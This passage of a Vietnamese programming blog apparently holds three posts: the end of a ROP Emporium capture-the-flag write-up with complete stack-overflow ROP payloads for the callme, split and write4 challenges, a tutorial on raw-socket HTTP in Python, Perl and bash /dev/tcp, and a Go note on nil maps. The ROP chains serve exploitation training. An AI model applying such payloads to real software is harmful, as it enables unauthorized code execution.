class="mi">2</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\xbe\xba\xfe\xca</span><span class="s1">'</span><span class="o">*</span><span class="mi">2</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\x0d\xf0\x0d\xd0</span><span class="s1">'</span><span class="o">*</span><span class="mi">2</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\xbe\x06\x40\x00</span><span class="s1">'</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\x00</span><span class="s1">'</span><span class="o">*</span><span class="mi">4</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\xf0\x06\x40\x00</span><span class="s1">'</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\x00</span><span class="s1">'</span><span class="o">*</span><span class="mi">4</span><span class="p">)</span><span class="err">”</span> <span class="o">|</span> <span class="o">./</span><span class="n">callme</span>
</code></pre></div>
<h2>Split</h2>
<p>Challenge 2 hướng dẫn chúng ta truyền string có sẵn trong binary làm argument cho function cho chúng ta sử dụn</p>
<p><img alt="" src="https://familug.github.io/images/ropemporium/Split/image.png"></p>
<p>Ta thấy hàm system gọi <code>/bin/ls</code> tuy nhiên ở đây ta muốn lấy nội dung của flag nên ta sẽ lấy chuỗi <code>/bin/cat flag.txt</code> trong section .data của binary để truyền vào arg1 của function system(). Tiến hành lấy các gadget cần thiết</p>
<div class="highlight"><pre><span></span><code><span class="err">$</span><span class="w"> </span><span class="n">rabin2</span><span class="w"> </span><span class="o">-</span><span class="n">i</span><span class="w"> </span><span class="n">split</span><span class="w"></span>
<span class="o">[</span><span class="n">Imports</span><span class="o">]</span><span class="w"></span>
<span class="n">nth</span><span class="w"> </span><span class="n">vaddr</span><span class="w"> </span><span class="n">bind</span><span class="w"> </span><span class="n">type</span><span class="w"> </span><span class="n">lib</span><span class="w"> </span><span class="n">name</span><span class="w"></span>
<span class="err">―――――――――――――――――――――――――――――――――――――</span><span class="w"></span>
<span class="mi">1</span><span class="w"> </span><span class="mh">0x00400550</span><span class="w"> </span><span class="k">GLOBAL</span><span class="w"> </span><span class="n">FUNC</span><span class="w"> </span><span class="n">puts</span><span class="w"></span>
<span class="mi">2</span><span class="w"> </span><span class="mh">0x00400560</span><span class="w"> </span><span class="k">GLOBAL</span><span class="w"> </span><span class="n">FUNC</span><span class="w"> </span><span class="k">system</span><span class="w"></span>
<span class="p">...</span><span class="w"></span>
<span class="err">$</span><span class="w"> </span><span class="n">rabin2</span><span class="w"> </span><span class="o">-</span><span class="n">z</span><span class="w"> </span><span class="n">split</span><span class="w"></span>
<span class="o">[</span><span class="n">Strings</span><span class="o">]</span><span class="w"></span>
<span class="n">nth</span><span class="w"> </span><span class="n">paddr</span><span class="w"> </span><span class="n">vaddr</span><span class="w"> </span><span class="nf">len</span><span class="w"> </span><span class="k">size</span><span class="w"> </span><span class="k">section</span><span class="w"> </span><span class="n">type</span><span class="w"> </span><span class="n">string</span><span class="w"></span>
<span class="err">―――――――――――――――――――――――――――――――――――――――――――――――――――――――</span><span class="w"></span>
<span class="p">...</span><span class="w"></span>
<span class="mi">0</span><span class="w"> </span><span class="mh">0x00001060</span><span class="w"> </span><span class="mh">0x00601060</span><span class="w"> </span><span class="mi">17</span><span class="w"> </span><span class="mi">18</span><span class="w"> </span><span class="p">.</span><span class="k">data</span><span class="w"> </span><span class="nf">ascii</span><span class="w"> </span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">cat</span><span class="w"> </span><span class="n">flag</span><span class="p">.</span><span class="n">txt</span><span class="w"></span>
<span class="err">$</span><span class="w"> </span><span class="n">python3</span><span class="w"> </span><span class="n">Ropper</span><span class="p">.</span><span class="n">py</span><span class="w"> </span><span class="o">-</span><span class="n">f</span><span class="w"> </span><span class="n">split</span><span class="w"></span>
<span class="p">...</span><span class="w"></span>
<span class="mh">0x00000000004007c3</span><span class="err">:</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rdi</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="mh">0x000000000040053e</span><span class="err">:</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
</code></pre></div>
<p>Gadget <code>pop rdi; ret;</code> sẽ lấy vị trí kế tiếp trong stack (địa chỉ của chuỗi command in ra flag trong section .data của binary) làm argument cho hàm system</p>
<p>Ta sẽ build stack như sau:</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="p">[</span><span class="n">A</span><span class="o">*</span><span class="mi">8</span><span class="w"> </span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="p">[.....]</span><span class="w"></span>
<span class="w"> </span><span class="p">[</span><span class="n">A</span><span class="o">*</span><span class="mi">8</span><span class="w"> </span><span class="p">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="mi">40</span><span class="o">*</span><span class="n">A</span><span class="w"></span>
<span class="w"> </span><span class="p">[</span><span class="mh">0x4007c3</span><span class="p">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rdi</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">[</span><span class="mh">0x601060</span><span class="p">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="p">.</span><span class="kt">data</span><span class="w"> </span><span class="kt">ascii</span><span class="w"> </span><span class="s">"/bin/cat flag.txt"</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">arg1</span><span class="w"></span>
<span class="w"> </span><span class="p">[</span><span class="mh">0x40053e</span><span class="p">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">[</span><span class="mh">0x400560</span><span class="p">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">system</span><span class="p">();</span><span class="w"></span>
</code></pre></div>
<p>Truyền payload vào binary</p>
<div class="highlight"><pre><span></span><code><span class="n">python3</span> <span class="o">-</span><span class="n">c</span> <span class="s2">"import sys;sys.stdout.buffer.write(b'A'*40 + b'</span><span class="se">\xc3\x07\x40\x00</span><span class="s2">' + b'</span><span class="se">\x00</span><span class="s2">'*4 + b'</span><span class="se">\x60\x10\x60\x00</span><span class="s2">' + b'</span><span class="se">\x00</span><span class="s2">'*4 + b'</span><span class="se">\x3e\x05\x40\x00</span><span class="s2">' + b'</span><span class="se">\x00</span><span class="s2">'*4 + b'</span><span class="se">\x60\x05\x40\x00</span><span class="s2">' + b'</span><span class="se">\x00</span><span class="s2">'*4)"</span> <span class="o">|</span> <span class="o">./</span><span class="n">split</span>
</code></pre></div>
<h2>Write4</h2>
<p>Challenge 4 sẽ hướng dẫn một kỹ thuật chính là <strong>write-what-where gadgets,</strong> nơi ta sẽ ghi nội dung bất kỳ vào vị trí nào đó trong memory</p>
<p>Gadget này sẽ có dạng <code>mov [reg2], reg1</code> nơi ta sẽ ghi nội dung của thanh ghi reg1 vào địa chỉ lưu trong thanh ghi reg2</p>
<p>Ở bài này ta có sẵn function print_file(*arg1) nhận giá trị tại địa chỉ của arg1 và truyền vào hàm fopen và mở file đó ra, do đó ta cần khiến thanh ghi <code>rdi</code> lưu địa chỉ mà tại đó chứa tên chuỗi “flag.txt” là được</p>
<p><img alt="" src="https://familug.github.io/images/ropemporium/Write4/image.png"></p>
<p>Tiến hành lấy các gadget cần thiết</p>
<div class="highlight"><pre><span></span><code><span class="err">$</span><span class="w"> </span><span class="n">rabin2</span><span class="w"> </span><span class="o">-</span><span class="n">i</span><span class="w"> </span><span class="n">write4</span><span class="w"></span>
<span class="o">[</span><span class="n">Imports</span><span class="o">]</span><span class="w"></span>
<span class="n">nth</span><span class="w"> </span><span class="n">vaddr</span><span class="w"> </span><span class="n">bind</span><span class="w"> </span><span class="n">type</span><span class="w"> </span><span class="n">lib</span><span class="w"> </span><span class="n">name</span><span class="w"></span>
<span class="err">―――――――――――――――――――――――――――――――――――――</span><span class="w"></span>
<span class="p">...</span><span class="w"></span>
<span class="mi">4</span><span class="w"> </span><span class="mh">0x00400510</span><span class="w"> </span><span class="k">GLOBAL</span><span class="w"> </span><span class="n">FUNC</span><span class="w"> </span><span class="n">print_file</span><span class="w"></span>
<span class="err">$</span><span class="w"> </span><span class="n">rabin2</span><span class="w"> </span><span class="o">-</span><span class="n">S</span><span class="w"> </span><span class="n">write4</span><span class="w"></span>
<span class="o">[</span><span class="n">Sections</span><span class="o">]</span><span class="w"></span>
<span class="n">nth</span><span class="w"> </span><span class="n">paddr</span><span class="w"> </span><span class="k">size</span><span class="w"> </span><span class="n">vaddr</span><span class="w"> </span><span class="n">vsize</span><span class="w"> </span><span class="n">perm</span><span class="w"> </span><span class="n">name</span><span class="w"></span>
<span class="err">―――――――――――――――――――――――――――――――――――――――――――――――――</span><span class="w"></span>
<span class="mi">23</span><span class="w"> </span><span class="mh">0x00001028</span><span class="w"> </span><span class="mh">0x10</span><span class="w"> </span><span class="mh">0x00601028</span><span class="w"> </span><span class="mh">0x10</span><span class="w"> </span><span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="w"> </span><span class="p">.</span><span class="k">data</span><span class="w"></span>
<span class="err">$</span><span class="w"> </span><span class="n">python3</span><span class="w"> </span><span class="n">Ropper</span><span class="p">.</span><span class="n">py</span><span class="w"> </span><span class="o">-</span><span class="n">f</span><span class="w"> </span><span class="n">write4</span><span class="w"></span>
<span class="p">...</span><span class="w"></span>
<span class="mh">0x0000000000400690</span><span class="err">:</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">r14</span><span class="p">;</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">r15</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"> </span>
<span class="mh">0x0000000000400628</span><span class="err">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">r14</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="n">r15</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="mh">0x0000000000400693</span><span class="err">:</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rdi</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"> </span>
<span class="mh">0x00000000004004e6</span><span class="err">:</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
</code></pre></div>
<p>Sử dụng gadget <code>pop r14; pop r15; ret;</code> sẽ lấy lần lượt vị trí kế trong stack lưu vào r14 (địa chỉ vaddr của .data section vì nó có quyền ghi -rw-) và kế sau lưu vào r15 (chuỗi “flag.txt” vừa đủ 8 byte nên ta không cần thêm)</p>
<p>Sau đó ta gọi gadget <code>mov qword ptr [r14], r15; ret;</code> để lấy giá trị trong r15 lưu tại vị trí tại địa chỉ lưu trong r14 cũng chính là .data section.</p>
<p>Cuối cùng là truyền địa chỉ vào arg1 bằng gadget <code>pop rdi; ret;</code> với địa chỉ của .data section</p>
<p>Ta sẽ build stack như sau:</p>
<div class="highlight"><pre><span></span><code><span class="k">[A*8 ]</span><span class="w"></span>
<span class="k">[.....]</span><span class="w"></span>
<span class="na">[A*8 ] -> 40*A</span><span class="w"></span>
<span class="na">[0x400690] -> pop r14; pop r15; ret;</span><span class="w"></span>
<span class="na">[0x601028] -> -rw- .data -> r14</span><span class="w"></span>
<span class="na">[b'flag.txt'] -> 8 byte "flag.txt" -> r15</span><span class="w"></span>
<span class="na">[0x400628] -> mov qword ptr [r14], r15; ret; -> lấy 'flag.txt' lưu vào .data</span><span class="w"></span>
<span class="na">[0x400693] -> pop rdi; ret; -> arg1</span><span class="w"></span>
<span class="na">[0x601028] -> -rw- .data -> địa chỉ lưu 'flag.txt' -> arg1</span><span class="w"></span>
<span class="na">[0x4004e6] -> ret;</span><span class="w"></span>
<span class="na">[0x400510] -> print_file(*rdi);</span><span class="w"></span>
</code></pre></div>
<p>Truyền payload vào binary</p>
<div class="highlight"><pre><span></span><code><span class="n">python3</span> <span class="o">-</span><span class="n">c</span> <span class="s2">"import sys;sys.stdout.buffer.write(b'A'*40 + b'</span><span class="se">\x90\x06\x40\x00</span><span class="s2">' + b'</span><span class="se">\x00</span><span class="s2">'*4 + b'</span><span class="se">\x28\x10\x60\x00</span><span class="s2">' + b'</span><span class="se">\x00</span><span class="s2">'*4 + b'flag.txt' + b'</span><span class="se">\x28\x06\x40\x00</span><span class="s2">' + b'</span><span class="se">\x00</span><span class="s2">'*4 + b'</span><span class="se">\x93\x06\x40\x00</span><span class="s2">' + b'</span><span class="se">\x00</span><span class="s2">'*4 + b'</span><span class="se">\x28\x10\x60\x00</span><span class="s2">' + b'</span><span class="se">\x00</span><span class="s2">'*4 + b'</span><span class="se">\xe6\x04\x40\x00</span><span class="s2">' + b'</span><span class="se">\x00</span><span class="s2">'*4 + b'</span><span class="se">\x10\x05\x40\x00</span><span class="s2">' + b'</span><span class="se">\x00</span><span class="s2">'*4)"</span> <span class="o">|</span> <span class="o">./</span><span class="n">write4</span>
</code></pre></div>Truy cập website chỉ với TCP socket - Python, Perl, Bash2023-08-31T00:00:00+07:002023-08-31T00:00:00+07:00hvntag:familug.github.io,2023-08-31:/truy-cap-website-chi-voi-tcp-socket-python-perl-bash.html<p>Thời đại ngày nay khi mọi ngôn ngữ lập trình đều có sẵn hay dễ dàng cài thư viện HTTP client, HTTP dần trở thành "hộp đen" ít người thọc vào táy máy. Chỉ có 1 TCP socket, liệu có kết nối HTTP được không? let's do it</p>
<p>CHÚ Ý …</p><p>Thời đại ngày nay khi mọi ngôn ngữ lập trình đều có sẵn hay dễ dàng cài thư viện HTTP client, HTTP dần trở thành "hộp đen" ít người thọc vào táy máy. Chỉ có 1 TCP socket, liệu có kết nối HTTP được không? let's do it</p>
<p>CHÚ Ý: HTTP, không phải HTTPS</p>
<h2>HTTP/1.1 protocol</h2>
<p>Truy cập: HTTP/1.0 hay HTTP/1.1 là protocol (giao thức) dùng text, chỉ cần gửi các string đi là nhận được response.</p>
<p>Cấu trúc 1 HTTP/1.x request:</p>
<p>CRLF là Carriage Return and Line Feed <code>\r\n</code></p>
<h3>HTTP request format</h3>
<div class="highlight"><pre><span></span><code>Method Request-URI HTTP-Version CRLF
headers CRLF
message-body
</code></pre></div>
<p>Chạy HTTP server có sẵn ở python3</p>
<div class="highlight"><pre><span></span><code>$ python3 -m http.server
Serving HTTP on <span class="m">0</span>.0.0.0 port <span class="m">8000</span> <span class="o">(</span>http://0.0.0.0:8000/<span class="o">)</span> ...
<span class="m">127</span>.0.0.1 - - <span class="o">[</span><span class="m">31</span>/Aug/2023 <span class="m">19</span>:06:49<span class="o">]</span> <span class="s2">"GET / HTTP/1.1"</span> <span class="m">200</span> -
</code></pre></div>
<h3>Gửi HTTP request bằng lệnh nc (netcat)</h3>
<div class="highlight"><pre><span></span><code>$ nc localhost <span class="m">8000</span>
GET / HTTP/1.1
<span class="nv">header1</span><span class="o">=</span>value
HTTP/1.0 <span class="m">200</span> OK
Server: SimpleHTTP/0.6 Python/3.11.3
Date: Thu, <span class="m">31</span> Aug <span class="m">2023</span> <span class="m">12</span>:06:49 GMT
Content-type: text/html<span class="p">;</span> <span class="nv">charset</span><span class="o">=</span>utf-8
Content-Length: <span class="m">6504</span>
...
</code></pre></div>
<h3>Gửi HTTP request bằng Python3 socket</h3>
<p>Python3</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">socket</span>
<span class="c1"># tạo 1 TCP socket (SOCK_STREAM)</span>
<span class="n">sock</span> <span class="o">=</span> <span class="n">socket</span><span class="o">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="o">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="o">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="c1"># Kết nối tới địa chỉ 127.0.0.1 port 8000</span>
<span class="n">sock</span><span class="o">.</span><span class="n">connect</span><span class="p">((</span><span class="s2">"127.0.0.1"</span><span class="p">,</span> <span class="mi">8000</span><span class="p">))</span>
<span class="c1"># Gửi HTTP request</span>
<span class="n">sock</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s2">"GET / HTTP/1.1</span><span class="se">\r\n</span><span class="s2">header=1</span><span class="se">\r\n</span><span class="s2">body</span><span class="se">\r\n\r\n</span><span class="s2">"</span><span class="p">)</span>
<span class="c1"># Nhận 1024 bytes kết quả, in 2 dòng đầu</span>
<span class="nb">print</span><span class="p">(</span><span class="n">sock</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span><span class="o">.</span><span class="n">splitlines</span><span class="p">()[:</span><span class="mi">2</span><span class="p">])</span>
<span class="c1"># [b'HTTP/1.0 200 OK', b'Server: SimpleHTTP/0.6 Python/3.11.3']</span>
<span class="n">sock</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</code></pre></div>
<h3>Gửi HTTP request bằng Perl</h3>
<p>but why?</p>
<p>Khi thế giới đều chạy trên server, Python có ở mọi nơi, gần như mọi hệ điều hành UNIX/Linux thì khi thế giới chạy container (docker, K8S), Python không còn có ưu điểm này nữa. Container cắt giảm tối đa các phần mềm cài trên đó, thường không có Python, nhưng bất ngờ thay nhiều khi vẫn có perl hay bash.</p>
<div class="highlight"><pre><span></span><code><span class="c1"># perl http.pl</span>
<span class="k">use</span> <span class="nn">IO::Socket</span><span class="p">;</span>
<span class="k">my</span> <span class="nv">$sock</span> <span class="o">=</span> <span class="k">new</span> <span class="nn">IO::Socket::</span><span class="n">INET</span> <span class="p">(</span>
<span class="n">PeerAddr</span> <span class="o">=></span> <span class="s">'127.0.0.1'</span><span class="p">,</span>
<span class="n">PeerPort</span> <span class="o">=></span> <span class="s">'8000'</span><span class="p">,</span>
<span class="n">Proto</span> <span class="o">=></span> <span class="s">'tcp'</span><span class="p">,</span>
<span class="p">);</span>
<span class="nb">die</span> <span class="s">"Could not create socket: $!\n"</span> <span class="k">unless</span> <span class="nv">$sock</span><span class="p">;</span>
<span class="k">print</span> <span class="nv">$sock</span> <span class="s">"GET / HTTP/1.1\r\n"</span><span class="p">;</span>
<span class="k">print</span> <span class="nv">$sock</span> <span class="s">"Host: any.domain.org\r\n\r\n"</span><span class="p">;</span>
<span class="k">print</span> <span class="k">while</span> <span class="sr"><$sock></span><span class="p">;</span>
<span class="nb">close</span><span class="p">(</span><span class="nv">$sock</span><span class="p">);</span>
</code></pre></div>
<h3>Gửi HTTP request bằng bash</h3>
<p>Khi không có perl, thì bash cũng được. CHÚ Ý: bash chứ không phải zsh hay dash.</p>
<p>Một tính năng có từ lâu, ít được biết tới, phụ thuộc vào option khi compile bash mà có hay không:</p>
<blockquote>
<p>--enable-net-redirections
This enables the special handling of filenames of the form /dev/tcp/host/port and /dev/udp/host/port when used in redirections (see Redirections).</p>
</blockquote>
<div class="highlight"><pre><span></span><code>$ <span class="nb">exec</span> <span class="m">3</span><>/dev/tcp/127.0.0.1/8000
$ <span class="nb">echo</span> -e <span class="s2">"GET / HTTP/1.1\r\n\r\n"</span> ><span class="p">&</span><span class="m">3</span>
$ cat <<span class="p">&</span><span class="m">3</span>
Server: SimpleHTTP/0.6 Python/3.11.3
Date: Fri, <span class="m">01</span> Sep <span class="m">2023</span> <span class="m">02</span>:54:38 GMT
Content-type: text/html<span class="p">;</span> <span class="nv">charset</span><span class="o">=</span>utf-8
...
</code></pre></div>
<p>Xem thêm <a href="https://www.xmodulo.com/tcp-udp-socket-bash-shell.html">https://www.xmodulo.com/tcp-udp-socket-bash-shell.html</a></p>
<blockquote>
<p>/dev/tcp/host/port
If host is a valid hostname or Internet address, and port is an integer port number or service name, Bash attempts to open the corresponding TCP socket.</p>
</blockquote>
<h2>Tham khảo</h2>
<ul>
<li><a href="https://www.gnu.org/software/bash/manual/bash.html#Redirections">https://www.gnu.org/software/bash/manual/bash.html#Redirections</a></li>
</ul>
<h2>Kết luận</h2>
<p>HTTP 1 thật đơn giản, không như HTTP/2.
Khi chỉ cần gửi HTTP request trong container, ai cần đến <code>curl</code> nữa?</p>
<p>Hết.</p>
<p>HVN at <a href="http://pymi.vn">http://pymi.vn</a> and <a href="https://www.familug.org">https://www.familug.org</a>.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>[Go] nil không là duy nhất, cap(map) = ?2023-08-18T00:00:00+07:002023-08-18T00:00:00+07:00hvntag:familug.github.io,2023-08-18:/go-nil-khong-la-duy-nhat-capmap.html<p>Trong Python, <code>None</code> là giá trị duy nhất thể hiện sự "không có gì", sự "null", thì trong Go, nil lại là nhiều thứ khác nhau.</p>
<h2>Go nil có kiểu</h2>
<p>Mỗi giá trị <code>nil</code> có kiểu cụ thể.</p>
<div class="highlight"><pre><span></span><code><span class="kn">package</span><span class="w"> </span><span class="nx">main</span><span class="w"></span>
<span class="kd">func</span><span class="w"> </span><span class="nx">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">s</span><span class="w"> </span><span class="p">[]</span><span class="kt">int</span><span class="w"></span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">m</span><span class="w"> </span><span class="kd">map</span><span class="p">[</span><span class="kt">string</span><span class="p">]</span><span class="kt">int …</span></code></pre></div><p>Trong Python, <code>None</code> là giá trị duy nhất thể hiện sự "không có gì", sự "null", thì trong Go, nil lại là nhiều thứ khác nhau.</p>
<h2>Go nil có kiểu</h2>
<p>Mỗi giá trị <code>nil</code> có kiểu cụ thể.</p>
<div class="highlight"><pre><span></span><code><span class="kn">package</span><span class="w"> </span><span class="nx">main</span><span class="w"></span>
<span class="kd">func</span><span class="w"> </span><span class="nx">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">s</span><span class="w"> </span><span class="p">[]</span><span class="kt">int</span><span class="w"></span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">m</span><span class="w"> </span><span class="kd">map</span><span class="p">[</span><span class="kt">string</span><span class="p">]</span><span class="kt">int</span><span class="w"></span>
<span class="w"> </span><span class="nb">println</span><span class="p">(</span><span class="nx">s</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="kc">nil</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="nb">println</span><span class="p">(</span><span class="nx">m</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="kc">nil</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="c1">// println(x == y) // Compile error: ./nil.go:9:15: invalid operation: s == m (mismatched types []int and map[string]int)</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>s và m đều bằng <code>nil</code>, nhưng không bằng nhau.</p>
<h2>nil map không phải là vô dụng</h2>
<div class="highlight"><pre><span></span><code><span class="kd">var</span><span class="w"> </span><span class="nx">m</span><span class="w"> </span><span class="kd">map</span><span class="p">[</span><span class="kt">string</span><span class="p">]</span><span class="kt">int</span><span class="w"></span>
</code></pre></div>
<p>Khi 1 map chưa được khởi tạo, nó có giá trị là <code>nil</code>.
Map là kiểu <strong>reference</strong>, như pointer hay slices. <code>nil</code> map vẫn đọc giá trị bình thường (giá trị là <strong>zero</strong> value của kiểu int tức 0):</p>
<div class="highlight"><pre><span></span><code><span class="kd">var</span><span class="w"> </span><span class="nx">m</span><span class="w"> </span><span class="kd">map</span><span class="p">[</span><span class="kt">string</span><span class="p">]</span><span class="kt">int</span><span class="w"></span>
<span class="nx">v</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">m</span><span class="p">[</span><span class="s">"password"</span><span class="p">]</span><span class="w"></span>
<span class="nb">println</span><span class="p">(</span><span class="nx">m</span><span class="p">)</span><span class="c1">// 0x0</span><span class="w"></span>
<span class="nb">println</span><span class="p">(</span><span class="nx">v</span><span class="p">)</span><span class="c1">// 0</span><span class="w"></span>
</code></pre></div>
<p><code>nil</code> map không thêm được giá trị.</p>
<div class="highlight"><pre><span></span><code><span class="kd">var</span><span class="w"> </span><span class="nx">m</span><span class="w"> </span><span class="kd">map</span><span class="p">[</span><span class="kt">string</span><span class="p">]</span><span class="kt">int</span><span class="w"></span>
<span class="nx">m</span><span class="p">[</span><span class="s">"age"</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">8</span><span class="w"></span>
</code></pre></div>
<p>Panic với nội dung</p>
<div class="highlight"><pre><span></span><code><span class="nl">panic</span><span class="p">:</span><span class="w"> </span><span class="n">assignment</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">entry</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="n">nil</span><span class="w"> </span><span class="k">map</span><span class="w"></span>
<span class="n">goroutine</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="o">[</span><span class="n">running</span><span class="o">]</span><span class="err">:</span><span class="w"></span>
<span class="n">main</span><span class="p">.</span><span class="n">main</span><span class="p">()</span><span class="w"></span>
<span class="w"> </span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">hvn</span><span class="o">/</span><span class="n">me</span><span class="o">/</span><span class="n">familug</span><span class="p">.</span><span class="n">github</span><span class="p">.</span><span class="n">io</span><span class="o">/</span><span class="n">content</span><span class="o">/</span><span class="n">nil</span><span class="p">.</span><span class="k">go</span><span class="err">:</span><span class="mi">5</span><span class="w"> </span><span class="o">+</span><span class="mh">0x2e</span><span class="w"></span>
<span class="nl">panic</span><span class="p">:</span><span class="w"> </span><span class="n">assignment</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">entry</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="n">nil</span><span class="w"> </span><span class="k">map</span><span class="w"></span>
</code></pre></div>
<p><code>nil</code> map giống như empty map khi read, nhưng khác khi write.</p>
<div class="highlight"><pre><span></span><code><span class="kd">var</span><span class="w"> </span><span class="nx">m</span><span class="w"> </span><span class="kd">map</span><span class="p">[</span><span class="kt">string</span><span class="p">]</span><span class="kt">int</span><span class="w"></span>
<span class="nx">fmt</span><span class="p">.</span><span class="nx">Printf</span><span class="p">(</span><span class="s">"nil: %v\n"</span><span class="p">,</span><span class="w"> </span><span class="nx">m</span><span class="p">)</span><span class="w"></span>
<span class="c1">// nil: map[]</span><span class="w"></span>
<span class="kd">var</span><span class="w"> </span><span class="nx">e</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="kd">map</span><span class="p">[</span><span class="kt">string</span><span class="p">]</span><span class="kt">int</span><span class="p">{}</span><span class="w"></span>
<span class="nx">fmt</span><span class="p">.</span><span class="nx">Printf</span><span class="p">(</span><span class="s">"empty: %v\n"</span><span class="p">,</span><span class="w"> </span><span class="nx">e</span><span class="p">)</span><span class="w"></span>
<span class="c1">// empty: map[]</span><span class="w"></span>
</code></pre></div>
<h3>cap(map) bằng mấy?</h3>
<p>Các kiểu <strong>reference</strong> trong Go phải allocation để cấp phát bộ nhớ sử dụng <code>new</code> hoặc <code>make</code>. Dùng make để alloc map hay slice.</p>
<blockquote>
<p>It creates slices, maps, and channels only, and it returns an initialized (not zeroed) value of type T (not *T). The reason for the distinction is that these three types represent, under the covers, references to data structures that must be initialized before use. A slice, for example, is a three-item descriptor containing a pointer to the data (inside an array), the length, and the capacity, and until those items are initialized, the slice is nil. For slices, maps, and channels, make initializes the internal data structure and prepares the value for use.
<a href="https://go.dev/doc/effective_go#allocation_make">https://go.dev/doc/effective_go#allocation_make</a></p>
</blockquote>
<p>Một slice chứa 3 thông tin: pointer tới array phía dưới, length và capacity.</p>
<blockquote>
<p>A slice is a descriptor of an array segment. It consists of a pointer to the array, the length of the segment, and its capacity (the maximum length of the segment).
<a href="https://go.dev/blog/slices-intro">https://go.dev/blog/slices-intro</a></p>
</blockquote>
<div class="highlight"><pre><span></span><code><span class="kd">var</span><span class="w"> </span><span class="nx">nilSlice</span><span class="w"> </span><span class="p">[]</span><span class="kt">int</span><span class="w"></span>
<span class="nx">fmt</span><span class="p">.</span><span class="nx">Printf</span><span class="p">(</span><span class="s">"%v len %d cap %d\n"</span><span class="p">,</span><span class="w"> </span><span class="nx">nilSlice</span><span class="p">,</span><span class="w"> </span><span class="nb">len</span><span class="p">(</span><span class="nx">nilSlice</span><span class="p">),</span><span class="w"> </span><span class="nb">cap</span><span class="p">(</span><span class="nx">nilSlice</span><span class="p">))</span><span class="w"></span>
<span class="c1">// [] len 0 cap 0</span><span class="w"></span>
<span class="kd">var</span><span class="w"> </span><span class="nx">s</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nb">make</span><span class="p">([]</span><span class="kt">int</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"></span>
<span class="nx">fmt</span><span class="p">.</span><span class="nx">Printf</span><span class="p">(</span><span class="s">"%v len %d cap %d\n"</span><span class="p">,</span><span class="w"> </span><span class="nx">s</span><span class="p">,</span><span class="w"> </span><span class="nb">len</span><span class="p">(</span><span class="nx">s</span><span class="p">),</span><span class="w"> </span><span class="nb">cap</span><span class="p">(</span><span class="nx">s</span><span class="p">))</span><span class="w"></span>
<span class="c1">// [] len 0 cap 0</span><span class="w"></span>
